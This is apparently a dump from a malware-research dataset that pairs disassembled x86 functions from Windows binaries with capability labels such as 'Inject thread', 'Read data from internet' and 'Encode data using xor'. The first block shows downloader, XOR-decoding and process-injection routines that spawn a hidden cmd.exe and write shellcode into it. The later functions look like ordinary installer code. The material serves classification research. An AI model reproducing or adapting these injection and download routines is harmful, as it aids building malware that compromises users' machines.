joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8f2c7
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, 0x10ad
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x8f30a
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x8f2e7
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x8f330
sub eax, 1
je 0x8f327
sub eax, 1
jne 0x8f346
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret

Function at 0x8f3f9
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x8f423
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x8f445
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], edx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_32.0__compatible_
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x8f523
push ebx
push 0x400000
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x8f523
push ebx
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
or dword [ebp - 8], 0xffffffff
mov ecx, 0x400000
call fcn.0008590a
mov dword [ebp - 0x10], eax
test eax, eax
je 0x8f523
xor eax, eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call fcn.000810ad
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
push dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, ebx
push esi
push eax
call fcn.0008102c
add ebx, dword [ebp - 8]
push esi
call fcn.000810c1
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x8f4b3
push dword [ebp - 0x14]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
cmp ebx, dword [ebp - 0xc]
jne 0x8f523
mov eax, dword [ebp - 0x18]
mov dword [eax], ebx
mov eax, dword [ebp - 0x10]
jmp 0x8f525
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8f52a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x8f568
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8f5c8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x400000
mov edi, edx
mov esi, ecx
call fcn.000810ad
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push 0x80000000
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x8f628
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x8f6e8
cmp dword [ebp - 4], ebx
je 0x8f6d8
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push str.System32cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.0008102c
add esp, 0xc
lea eax, [ebp - 0x60]
push 0x44
push ebx
push eax
call fcn.00081052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x8f6e8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x8f6e3
call fcn.0008f7cd
test eax, eax
je 0x8f6e8
mov edx, eax
call fcn.0008f6ed
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8f6ed
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.000810ad
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00081114
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
pop ecx
pop ecx
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x96178
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x967b4], eax
pop ebx
leave
ret
Function at 0x8f7cd
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, 0x128
mov esi, eax
push edi
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.00081052
add esp, 0xc
mov dword [ebp - 0x128], edi
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x8f836
lea eax, [ebp - 0x104]
push 0x945f4
push eax
call fcn.000810e6
pop ecx
pop ecx
test eax, eax
je 0x8f847
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x8f811
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x8f843

Function at 0x8fb5c
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x92370
push 1
push edi
push 0x923c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x8fbf4
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x923b0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x8fbe4
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x8fbc0
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x8fbc0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x8fbaf
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x8fbe4
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov edx, dword [ebp - 8]
test edx, edx
je 0x8fbf4
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x90024
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x18], ecx
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
push 0x94674
push 1
push edi
push 0x923c0
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x9017b
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x923b0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x9017b
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov ebx, edi
jmp 0x90137
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push 0x92340
push edi
lea eax, [eax + ebx*4]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
jne 0x90155
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push 0x9460c
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x900e3
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x90155
push 0x1c
pop ecx
call fcn.000859a9
test eax, eax
je 0x900fa
mov ecx, eax
call fcn.000902dc
mov edx, eax
jmp 0x900fc
mov edx, edi
mov esi, dword [ebp - 0x20]
movzx eax, word [esi]
test ax, ax
je 0x90125
mov ecx, eax
mov eax, dword [edx + 4]
mov word [eax + edi*2], cx
mov ecx, dword [edx]
mov al, byte [esi]
lea esi, [esi + 2]
mov byte [edi + ecx], al
inc edi
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x90109
mov ecx, dword [ebp - 0x18]
push edx
mov dword [edx + 8], ebx
lea ecx, [ecx + 4]
call fcn.000823b2
inc ebx
xor edi, edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x9008c
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x90165
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x90175
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x90180
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.0008fb5c
xor ecx, ecx
cmp eax, ebx
lea eax, [ebp - 0x10]
push eax
push 0x94674
cmovb ebx, ecx
xor esi, esi
push 1
push esi
push 0x923c0
mov dword [edi], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x9023a
mov eax, dword [ecx]
lea edx, [ebp - 4]
push esi
push edx
push 0x923b0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x9023a
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
and dword [ebp - 8], esi
jmp 0x90205
mov eax, dword [ebp - 0xc]
push edi
push 0x92360
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
cmp dword [edi], 0
je 0x90201
cmp esi, ebx
je 0x9021c
mov ecx, edi
inc esi
call fcn.00082411
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x901dd
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x9022d
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x9023a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x90a7c
Capabilities:
Create directory
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x51c
push ebx
xor ebx, ebx
mov dword [esp + 0xc], 0xa
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], ebx
call fcn.00085647
lea ecx, [esp + 0x68]
call fcn.0008ef3c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00081085
pop ecx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0xc]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [esp + 0x10]
push eax
push 4
push ebx
push str.MaxConnectionsPer1_0Server
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [esp + 0x10]
push eax
push 4
push ebx
push str.MaxConnectionsPerServer
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x20]
call fcn.0008549d
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x6c]
call fcn.0008edaa
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x2f0]
call fcn.000849f9
push 0x208
lea eax, [esp + 0xe4]
push ebx
push eax
call fcn.00081052
add esp, 0xc
lea eax, [esp + 0xe0]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esp + 0x8c], ebx
jne 0x90be8
push dword [esp + 0x40]
lea ecx, [esp + 0x6c]
push dword [esp + 0x3c]
call fcn.0008ec15
cmp dword [esp + 0x38], ebx
je 0x90be8
lea eax, [esp + 0x88]
mov dword [esp + 0x18], ebx
push eax
lea ecx, [esp + 0x14]
call fcn.000833f3
push ecx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x28]
call fcn.0008e6c4
mov ecx, dword [esp + 0x10]
call fcn.000858fb
xor ecx, ecx
call fcn.000858fb
jmp 0x90bff
cmp dword [esp + 0x58], ebx
je 0x90bf3
call fcn.0008f628
lea ecx, [esp + 0x2e8]
call fcn.0008496d
lea ecx, [esp + 0x2e8]
call fcn.00084709
lea ecx, [esp + 0x68]
call fcn.0008ebb6
lea ecx, [esp + 0x20]
call fcn.0008566c
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x911c5
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
push esi
call fcn.000810d5
mov edi, eax
mov dword [esp], str.test
call fcn.000810d5
pop ecx
xor ecx, ecx
mov ebx, eax
test edi, edi
jle 0x8f3f3
mov eax, ecx
cdq
idiv ebx
mov al, byte [edx + str.test]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x8f3e0
pop edi
mov eax, esi
pop esi
pop ebx
ret
mov edx, dword [ecx + 0x1c]
mov ecx, dword [ecx + 0x18]
call fcn.0008f3f9
mov ecx, eax
jmp 0x8f3be
Function at 0x4013b1
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x4a9eb7
call fcn.004a8204
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
or dword [edi + 8], 0xffffffff
or dword [edi + 4], 0xffffffff
and dword [edi + 0xc], 0
and dword [ebp - 4], 0
lea ebx, [edi + 0x14]
mov esi, ebx
mov dword [edi], vtable.TiXmlAttribute.0
call fcn.00402833
lea esi, [edi + 0x30]
call fcn.00402833
push dword [ebp + 0xc]
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.00402b41
push dword [ebp + 0x10]
mov ecx, esi
call fcn.00402b41
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x50], eax
mov dword [edi + 0x4c], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc

Function at 0x405f4d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405f64
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x405f99
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x405f95
cmp edi, eax
jae 0x405f99
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x405f87
cmp edi, eax
jb 0x405f9d
xor eax, eax
jmp 0x405fa7
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x4060a5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
xor ebx, ebx
cmp eax, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
je 0x40614e
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp - 4]
push ecx
push ebx
lea ecx, [ebp - 8]
push ecx
push ebx
push dword [ebp + 0xc]
push eax
call edi
cmp dword [ebp - 8], 1
je 0x4060e4
cmp dword [ebp - 8], 2
jne 0x40614d
push esi
mov esi, dword [ebp + 0x10]
call fcn.00405e17
mov esi, dword [ebp - 4]
shr esi, 1
inc esi
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00477a97
push esi
push ebx
push eax
mov dword [ebp - 0xc], eax
call fcn.0047a1f0
add esp, 0x10
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
push ebx
push dword [ebp + 0xc]
push dword [eax]
call edi
test eax, eax
pop esi
jne 0x406144
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.00406072
mov dword [ebp - 0x10], 1
push dword [ebp - 0xc]
call fcn.0047a978
pop ecx
pop edi
mov eax, dword [ebp - 0x10]
pop ebx
leave
ret 0xc
Function at 0x4062e0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
xor eax, eax
mov dword [ebp - 4], eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0047a1f0
add esp, 0xc
lea eax, [ebp - 4]
push eax
call fcn.00406353
push dword [eax]
lea eax, [ebp - 0x20c]
push 0x104
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push str.productinfo
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.00405bdc
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 8]
call fcn.00405e57
mov eax, dword [ebp + 8]
leave
ret 0xc

Function at 0x408ab6
Capabilities:
Create directory

Disassembly:
mov eax, 0x4aa59e
call fcn.004a8204
sub esp, 0x38
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x28]
call fcn.00408bb4
lea eax, [ebp + 8]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x28]
mov dword [ebp + 8], 0x5c
call fcn.00408c0d
cmp eax, 0xffffffff
je 0x408bad
push eax
lea eax, [ebp - 0x28]
push eax
lea esi, [ebp - 0x44]
call fcn.00408be0
cmp dword [eax + 0x18], 8
jb 0x408b0a
mov eax, dword [eax + 4]
jmp 0x408b0d
add eax, 4
push ebx
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push ebx
push 1
lea esi, [ebp - 0x44]
mov edi, eax
call fcn.004069bd
cmp edi, ebx
je 0x408b62
cmp edi, 0x50
je 0x408b62
cmp edi, 0xb7
je 0x408b62
cmp edi, ebx
jle 0x408b44
and edi, 0xffff
or edi, 0x80070000
push ebx
push 1
lea esi, [ebp - 0x28]
call fcn.004069bd
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [ebp - 0x10], 8
mov eax, dword [ebp - 0x24]
jae 0x408b6e
lea eax, [ebp - 0x24]
push ebx
push 0x80
push 1
push ebx
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x408ba2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
jle 0x408b9e
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
jmp 0x408b44
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
jmp 0x408b44
mov edi, 0x80070057
jmp 0x408b44
Function at 0x408ea7
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
mov dword [esi], eax
push ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
mov dword [edi], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x408f30
push ebx
call fcn.00477a97
pop ecx
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x408f21
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x4b9484
push dword [ebp - 4]
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x408f21
cmp dword [ebp - 0xc], ebx
je 0x408f21
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 8]
mov dword [edi], ecx
mov eax, dword [eax + 0xc]
mov dword [esi], eax
mov dword [ebp - 0x14], 1
cmp dword [ebp - 4], 0
je 0x408f30
push dword [ebp - 4]
call fcn.0047a978
pop ecx
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret

Function at 0x409000
Capabilities:
Get common file path

Disassembly:
mov eax, 0x4a9990
call fcn.004a8204
sub esp, 0x20c
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov ecx, 0x4db1bc
mov dword [ebp - 0x10], edi
call fcn.00405e9a
push 0x206
lea eax, [ebp - 0x216]
mov dword [ebp - 4], edi
push edi
push eax
mov dword [ebp - 0x10], 1
mov word [ebp - 0x218], di
call fcn.0047a1f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
push esi
call fcn.00406072
push esi
call fcn.00408f6c
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret